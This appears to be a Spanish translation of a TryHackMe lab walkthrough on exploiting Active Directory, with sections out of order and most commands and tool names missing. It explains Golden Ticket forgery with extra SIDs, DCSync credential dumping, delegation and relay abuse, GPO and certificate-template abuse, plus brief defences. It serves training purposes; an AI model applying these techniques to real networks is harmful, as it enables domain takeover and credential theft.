¡Finalmente, tenemos acceso a la infraestructura de Nivel 0 y hemos comprometido todo el dominio secundario!
Aunque tenemos acceso a la infraestructura de Nivel 0, esto todavía no es suficiente. Sólo hemos explotado el dominio ZA.TRYHACKME.LOC. Seguramente TRYHACKME también debe tener dominios para otras regiones. Bueno, si tomamos el control del dominio raíz, TRYHACKME.LOC, estaremos en condiciones de comprometer todos estos dominios regionales. En esta tarea, veremos cómo se puede aprovechar la confianza del dominio para tomar el control de todo el bosque.
Hay dos tipos principales de confianzas que se pueden configurar entre dominios:
Direccional: la dirección de la confianza fluye desde un dominio de confianza a un dominio de confianza.
Transitivo: la relación de confianza se expande más allá de solo dos dominios para incluir otros dominios confiables.
Es común tener un dominio raíz o padre en un bosque. En nuestro caso, este es TRYHACKME.LOC. Para cada oficina regional, se crean subdominios o dominios secundarios, como ZA.TRYHACKME.LOC o UK.TRYHACKME.LOC. Esta configuración de bosque permitirá compartir recursos entre ZA y la oficina del Reino Unido. Por ejemplo, si algún usuario de la oficina del Reino Unido requiere acceso a THMSERVER1, podemos otorgarle acceso al usuario en el dominio ZA. Esta delegación de permisos funciona porque existe una confianza bidireccional entre ZA y el dominio raíz y el Reino Unido y el dominio raíz, lo que esencialmente crea una confianza transitiva entre ZA y Reino Unido.
Como se mencionó anteriormente, la confianza entre un dominio principal y un dominio secundario es bidireccional. Este es el comportamiento previsto y se utiliza para compartir recursos a través de mayores relaciones de confianza transitivas. Sin embargo, como atacante, también podemos explotar esta confianza para comprometer el dominio principal si hemos comprometido un dominio secundario.
KRBTGT es la cuenta utilizada para la implementación de Kerberos por parte de Microsoft . El nombre se deriva de Kerberos (KRB) y Ticket Granting Ticket (TGT). Básicamente, esta cuenta actúa como cuenta de servicio para el servicio del Centro de distribución de Kerberos (KDC), que maneja todas las solicitudes de tickets de Kerberos. Esta cuenta se utiliza para cifrar y firmar todos los tickets de Kerberos para el dominio. Dado que todos los controladores de dominio comparten el hash de contraseña, pueden verificar la autenticidad del TGT recibido cuando los usuarios solicitan acceso a los recursos.
Sin embargo, ¿qué pasa si queremos generar nuestros propios TGT para darnos acceso a todo? Esto se conoce como ataque del Boleto Dorado. En un ataque Golden Ticket, evitamos el KDC por completo y creamos nuestros propios TGT, convirtiéndonos esencialmente en un servidor de concesión de tickets (TGS). Para falsificar TGT, necesitamos la siguiente información:
El FQDN del dominio
El identificador de seguridad (SID) del dominio.
El nombre de usuario de la cuenta que queremos suplantar
El hash de contraseña KRBTGT
Los tres primeros suelen ser fáciles de recuperar. El último requiere un compromiso de dominio ya que el hash de contraseña KRBTGT solo se almacena en los controladores de dominio. Por suerte para nosotros, acabamos de comprometer al grupo de administradores de nivel 0 con un certificado falsificado, por lo que estamos en condiciones de recuperar el hash de contraseña de KRBTGT.
Usaremos nuevamente Mimikatz con DC Sync para recuperar el hash de contraseña KRBTGT en THMSERVER2:
Usando el hash de contraseña KRBTGT, ahora podríamos falsificar un Boleto Dorado para acceder a cualquier recurso en el dominio secundario. Esto también se discutirá con más detalle en la sala AD persistente . Sin embargo, podemos llevar esto un paso más allá al forjar un TGT Inter-Realm. Los TGT Inter-Realm se utilizan para proporcionar acceso a recursos en otros dominios. En nuestro caso, queremos explotar la relación de confianza bidireccional entre el dominio secundario y principal para obtener acceso completo al dominio principal.
Incluiremos SID de cuentas adicionales de otros dominios cuando construyamos el Golden Ticket para realizar este exploit. Mimikatz puede ayudar con esto, permitiéndonos configurar la sección ExtraSids de la estructura KERB_VALIDATION_INFO del Kerberos TGT. La sección ExtraSids se describe como "Un puntero a una lista de estructuras KERB_SID_AND_ATTRIBUTES que contienen una lista de SID correspondientes a grupos en dominios distintos del dominio de cuenta al que pertenece el principal".
La clave aquí es que explotaremos la confianza que el dominio principal tiene con nuestro dominio secundario agregando el SID del grupo de administradores empresariales (EA) como un SID adicional a nuestro ticket falsificado para el controlador de dominio del dominio secundario. El grupo EA pertenece al dominio principal y la membresía en este grupo esencialmente otorga privilegios administrativos sobre todo el bosque. El SID predeterminado para este grupo es S-1-5-21-RootDomain-519.
Antes de que podamos pasar a la explotación, primero debemos recuperar dos SID:
El SID del controlador de dominio secundario (THMDC), que nos haremos pasar por nuestro TGT falsificado
El SID de los administradores empresariales en el dominio principal, que agregaremos como un SID adicional a nuestro TGT falsificado.
Para recuperar estos SID, podemos utilizar los cmdlets AD-RSAT Powershell. Podemos recuperar el SID del controlador de dominio secundario usando el siguiente comando:
Podemos recuperar el SID del grupo Enterprise Admins usando el siguiente comando para consultar el controlador de dominio principal:
Finalmente tenemos toda la información necesaria para crear nuestro TGT falsificado . Usaremos Mimikatz para generar este billete dorado. El comando se verá así:
Primero, verificaremos que este ticket funcione para el acceso a THMDC ya que es un ticket válido para el usuario Administrador del dominio secundario:
Esto al menos confirma que el Boleto Dorado fue falsificado para acceder al niño DC . Sin embargo, dado que especificamos SID adicionales, ahora también deberíamos tener acceso al DC principal:
¡Esto demuestra que ahora hemos comprometido completamente el dominio principal únicamente al comprometer uno de los dominios secundarios!
Se necesita tiempo para dominar la explotación de AD y las técnicas utilizadas dependerán en gran medida de la configuración de la estructura de AD que se está atacando. Lo más importante que hay que entender es que el proceso es cíclico. En la mayoría de los casos, no podremos ejecutar un único exploit de arranque a raíz que nos dé acceso DA. El mejor enfoque es realizar una explotación que promueva su acceso y luego usar el acceso que se logró para realizar la enumeración nuevamente, buscando rutas de explotación adicionales que puedan ser posibles desde esta nueva posición.
La explotación de AD , al igual que la enumeración de AD, es increíblemente difícil de defender. Esto se debe a que lo que puede considerarse una configuración errónea que puede explotarse tiene un argumento comercial real. Sin embargo, podemos hacer un par de cosas para protegernos contra la explotación:
Necesitamos asegurarnos de que ninguna configuración rompa nuestro modelo de niveles. Las cuentas de un nivel inferior no deberían tener la capacidad de interactuar con recursos de un nivel superior. Además, las cuentas de un nivel superior nunca deben iniciar sesión en recursos de un nivel inferior.
Se debe seguir el principio de privilegio mínimo cuando se realiza la delegación de permisos. Además, la delegación de permisos debe adherirse al modelo de niveles, asegurando que un objeto de niveles inferiores no pueda alterar un objeto de niveles superiores.
La firma SMB debe imponerse, no solo habilitarse. Esto evitará intentos de retransmisión de credenciales.
Los objetos AD y su configuración no son las únicas vías de explotación. Los servicios de AD, como AD CS, también deben considerarse parte de la superficie de ataque y protegerse.
Necesitamos implementar suficientes controles de seguridad para proteger la infraestructura y las cuentas de Nivel 0 en nuestros dominios secundarios, ya que el compromiso de uno de ellos puede comprometer todo el bosque.
Una vez completada nuestra explotación de AD , el siguiente paso es profundizar en nuestras raíces para asegurarnos de que el equipo azul no pueda simplemente purgar nuestro acceso. Esto se tratará en la siguiente sala.
Una cantidad significativa de ACE puede estar mal configurada y los exploits para cada una varían. La ayuda a explicar las ACE enumeradas y cómo pueden explotarse. Sin embargo, veremos un par de los más notables aquí:
Para explotar estas ACE, necesitaremos un método para interactuar con AD para realizar estas solicitudes. Las dos mejores opciones para esto son los cmdlets PowerShell o . Dependiendo de la infracción y de las herramientas de detección del entorno, una opción puede ser más sigilosa. En esta tarea mostraremos ambos.
Sharphound ya se ejecutó y se adjuntó como un archivo de tarea. Inicie Bloodhound en AttackBox o su máquina Kali e ingiera los datos. Sin embargo, puede volver a ejecutar Sharphound usted mismo siguiendo los pasos proporcionados en la . Nota: si lo consigues, Unable to connect to LDAP, verify your credentialsasegúrate de tener el dominio configurado correctamente. Proporcionamos un ZIP de datos de SharpHound como archivo de tareas. En AttackBox, puede encontrar el archivo ZIP en /root/Rooms/ExploitingAD/. Primero, necesitaremos iniciar neo4j:
Hay dos tipos de delegación Kerberos . En la implementación original de la delegación Kerberos, se utilizó la delegación sin restricciones, que es el método menos seguro. En esencia, la delegación sin restricciones no proporciona límites a la delegación. En segundo plano, si un usuario con el indicador "TRUSTED_FOR_DELEGATION" configurado se autentica en un host con la delegación sin restricciones configurada, se genera un ticket de otorgamiento de boletos (TGT) para esa cuenta de usuario y se almacena en la memoria para que pueda usarse más tarde si es necesario. Supongamos que un atacante puede comprometer un host que tiene habilitada la delegación sin restricciones. En ese caso, podrían intentar forzar la autenticación de una cuenta privilegiada en el host, lo que les permitiría interceptar el TGT generado y hacerse pasar por el servicio privilegiado. Si desea ver un ejemplo de la explotación de la delegación sin restricciones, eche un vistazo .
Digamos que tenemos permiso para configurar RBCD para un servicio. Esto significa que tenemos la capacidad de configurar el atributo msDS-AllowedToActOnBehalfOfOtherIdentity para el objeto AD . Podemos completar este atributo con los detalles de una cuenta AD a la que tenemos acceso. Para ahora acceder al servicio, podemos generar un TGT para la cuenta que controlamos, que nos permitirá interactuar con este servicio. Si desea un ejemplo detallado de explotación de RBCD, eche un vistazo .
Si realizara una enumeración posterior a la explotación adecuada de THMWRK1, descubriría que hay un servicio en el host ejecutándose como usuario de svcIIS. Como ahora tenemos acceso administrativo, podemos usarlo para volcar LSASecrets, parte de la sección del Registro de Windows donde se almacenan las credenciales para funciones como los servicios de Windows. Usemos para deshacernos de los secretos:
Ahora que tenemos acceso a la contraseña asociada con la cuenta svcIIS, podemos realizar un ataque de delegación Kerberos . Usaremos una combinación de y . Puede usar otra ventana para Mimikatz, pero asegúrese de salir de Mimikatz después del token::elevatecomando; de lo contrario, los tickets se cargarán en el contexto incorrecto más adelante. Usaremos Kekeo para generar nuestros tickets y luego usaremos Mimikatz para cargar esos tickets en la memoria. Empecemos generando los tickets:
Usaremos para explotar el relé de autenticación. Es un exploit de C# pero ya ha sido compilado y almacenado en el C:\Tools\directorio THMWRK1. Usaremos Spoolsample.exe para obligar a THMSERVER2 a autenticarse con nosotros en nuestro AttackBox y luego de para transmitir el intento de autenticación THMSERVER1. Tenga en cuenta que si está utilizando su propia máquina virtual , deberá asegurarse de tener la versión actualizada de Impacket que admita SMBv2.
Afortunadamente, Meterpreter nos proporciona una función de migración y, dado que ejecutamos como SISTEMA, deberíamos poder migrar a cualquier proceso. Tiene ejecución remota de código en THMSERVER1, utilícelo para obtener un shell Meterpreter. Si necesita un resumen sobre el uso de Meterpreter y Metasploit , Sin embargo, para un resumen rápido, puede utilizar el siguiente comando para generar una carga útil meterpreter de PowerShell :
Este es un ejemplo sencillo de cómo dirigirse a los usuarios de AD . Hay mucho más que se puede hacer. Es esencial incluir la segmentación por usuarios en su metodología de explotación de AD. Para responder las preguntas de esta tarea necesitará Keepass. Se ha instalado en AttackBox para que pueda buscar y ejecutar la aplicación. Si está utilizando su propia máquina virtual,sudo apt install keepassx funcionará en la mayoría de las distribuciones de Linux. O puedes descargarlo desde . También asegúrese de utilizar el downloadcomando meterpreter para descargar la base de datos Keepass en su host. Si está utilizando Kali, asegúrese de que el usuario de Kali sea propietario del archivo de la base de datos antes de abrirlo; de lo contrario, podría bloquear la base de datos y obtener resultados incorrectos.
Para modificar el GPO , debemos acceder a la Administración de políticas de grupo como el usuario de AD que tiene los permisos pertinentes. Podríamos realizar RDP en THMSERVER1 como usuario, pero eso puede expulsar al usuario de su sesión activa, lo que generará sospechas. En su lugar, realizaremos RDP en THMWRK1 con nuestra cuenta de administrador normal o de nivel 2, inyectaremos las credenciales del usuario de AD en la memoria usando el comando runas y abriremos MMC para modificar el GPO. Para obtener un resumen del comando runas, consulte la sala sin embargo, aquí también se proporciona el comando requerido que debe ejecutarse desde una ventana del símbolo del sistema administrativo:
La investigación realizada y publicada como por SpecterOps mostró que era posible explotar plantillas de certificados mal configuradas para escalar privilegios y movimiento lateral. Si desea comprender mejor las configuraciones incorrectas de los certificados y cómo identificarlas, eche un vistazo a .
Esto proporcionará resultados en todas las plantillas configuradas. También podríamos utilizar una herramienta de auditoría de certificados como de Ghostpack . Sin embargo, un enfoque manual nos permite asegurarnos de encontrar todas las posibles configuraciones erróneas. Una plantilla de certificado se considera mal configurada si una combinación de valores de parámetros se vuelve tóxica, lo que permite al solicitante realizar una escalada de privilegios. En nuestro caso, buscamos una plantilla con la siguiente combinación de parámetros venenosos:
Para el primer paso, usaremos . Una versión ya compilada está disponible en el C:\Tools\directorio. Abra una ventana del símbolo del sistema y navegue hasta este directorio. Usaremos el siguiente comando para solicitar el TGT :
Como se analizó en la , un bosque es una colección de uno o más árboles de dominio dentro de una red AD . Los dominios de confianza son un mecanismo para que los usuarios de la red obtengan acceso a otros recursos del dominio. En su mayor parte, los fideicomisos describen cómo se comunican entre sí los dominios dentro de un bosque. En algunos entornos, los fideicomisos se pueden extender a dominios externos e incluso a bosques en algunos casos.
